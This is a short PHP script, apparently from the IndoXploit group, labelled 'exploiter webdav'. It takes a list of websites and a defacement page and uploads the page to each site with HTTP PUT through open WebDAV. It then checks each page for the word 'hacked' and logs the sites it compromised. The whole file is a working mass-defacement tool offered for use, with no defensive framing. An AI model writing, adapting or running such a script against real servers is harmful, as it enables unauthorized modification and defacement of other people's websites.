exploiter webdav

<?php
# by tu5b0l3d | IndoXploit
# thx @AdeRoot | magelang6etar
# blog.indoxploit.or.id

if(!is_file($argv[1]) || !is_file($argv[2])){
  echo "\n\nUsage: php $argv[0] list.htm file_deface.htm\n\n";
}else{
$sites = $argv[1];
$file = $argv[2];
$fp = fopen($file, "r");
$buka=fopen("$sites","r");
$filesize = filesize($file);
$size=filesize("$sites");
$baca=fread($buka,$size);
$sites = explode("<br>", $baca);
foreach($sites as $site){
if(preg_match("#http://#", $site)) {
    $site = $site;
 } else {
   $site = "http://".$site;
 }
$site = "$site/$file";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $site);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
curl_setopt($ch, CURLOPT_PUT, true);
curl_setopt($ch, CURLOPT_INFILE, $fp);
curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$exec = curl_exec($ch);
echo "$site -> ";
$su = curill($site);
if(preg_match("/hacked/i", $su)) {
    echo "Created Successfully\n\n";
   file_put_contents("webdav_shell.htm", "$site<br>", FILE_APPEND);
} else {
  echo "Failed\n";
  }
}
}
function curill($site){
  $ch = curl_init ("$site");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data3 = curl_exec ($ch);
return $data3;
 }
?>